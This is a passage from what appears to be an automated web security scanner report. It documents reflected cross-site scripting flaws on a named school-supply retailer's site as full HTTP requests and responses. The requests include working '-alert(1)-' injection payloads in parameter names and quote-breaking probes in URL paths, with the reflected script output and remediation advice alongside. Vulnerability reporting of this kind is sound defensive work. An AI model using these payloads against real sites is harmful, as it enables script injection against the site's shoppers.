Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/welcome.aspx12fa6'%3b547885d2878 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:01:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 108087
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]...
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.63. http://www.discountschoolsupply.com/community/welcome.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/community/welcome.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6ffd'-alert(1)-'24354479acc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/welcome.aspx?d6ffd'-alert(1)-'24354479acc=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:04 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Cache-Control: no-cache, no-store Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 113165
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Excelligence-Learning .:: D ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'community/welcome.aspx?d6ffd'-alert(1)-'24354479acc=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5d545'%3b9dd7fb99afc was submitted in the REST URL parameter 1. This input was echoed as 5d545';9dd7fb99afc in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sitemap5d545'%3b9dd7fb99afc/sitemap.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:03:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123579
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/sitemap5d545';9dd7fb99afc/sitemap.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { h ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 665b2'%3bb92bfa57fb was submitted in the REST URL parameter 2. This input was echoed as 665b2';b92bfa57fb in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sitemap/sitemap.aspx665b2'%3bb92bfa57fb HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:03:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123643
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... "> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/sitemap/sitemap.aspx665b2';b92bfa57fb'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.66. http://www.discountschoolsupply.com/sitemap/sitemap.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/sitemap/sitemap.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ccf65'-alert(1)-'bf7765fe813 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sitemap/sitemap.aspx?ccf65'-alert(1)-'bf7765fe813=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:03:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 258334
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'sitemap/sitemap.aspx?ccf65'-alert(1)-'bf7765fe813=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
1.67. https://www.discountschoolsupply.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.discountschoolsupply.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d9d8f'-alert(1)-'ed224fa6130 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?d9d8f'-alert(1)-'ed224fa6130=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:03:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 155109
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply ... ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'default.aspx?d9d8f'-alert(1)-'ed224fa6130=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4724b'%3b20b7dcd287a was submitted in the REST URL parameter 1. This input was echoed as 4724b';20b7dcd287a in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /MyAccount4724b'%3b20b7dcd287a/OrderHistory.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:02:40 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123311
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/MyAccount4724b';20b7dcd287a/OrderHistory.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 61dfd'%3b1e0037deefc was submitted in the REST URL parameter 2. This input was echoed as 61dfd';1e0037deefc in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /MyAccount/OrderHistory.aspx61dfd'%3b1e0037deefc HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:03:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123661
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 81224'%3b30aea6c5389 was submitted in the REST URL parameter 1. This input was echoed as 81224';30aea6c5389 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /MyAccount81224'%3b30aea6c5389/Registration.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:04:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123593
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/MyAccount81224';30aea6c5389/Registration.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 968f6'%3b43072224b5e was submitted in the REST URL parameter 2. This input was echoed as 968f6';43072224b5e in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /MyAccount/Registration.aspx968f6'%3b43072224b5e HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:04:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123661
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.72. https://www.discountschoolsupply.com/MyAccount/Registration.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.discountschoolsupply.com
Path:
/MyAccount/Registration.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ddb2e'-alert(1)-'3d52921e027 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /MyAccount/Registration.aspx?ddb2e'-alert(1)-'3d52921e027=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:03:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 183065
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'MyAccount/Registration.aspx?ddb2e'-alert(1)-'3d52921e027=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d1ab'%3b2c0c04235be was submitted in the REST URL parameter 1. This input was echoed as 9d1ab';2c0c04235be in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /PopOut9d1ab'%3b2c0c04235be/ZipPopOut.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:59:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123581
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/PopOut9d1ab';2c0c04235be/ZipPopOut.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f8d70'%3bae93cef35fd was submitted in the REST URL parameter 2. This input was echoed as f8d70';ae93cef35fd in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /PopOut/ZipPopOut.aspxf8d70'%3bae93cef35fd HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:59:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123524
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]...
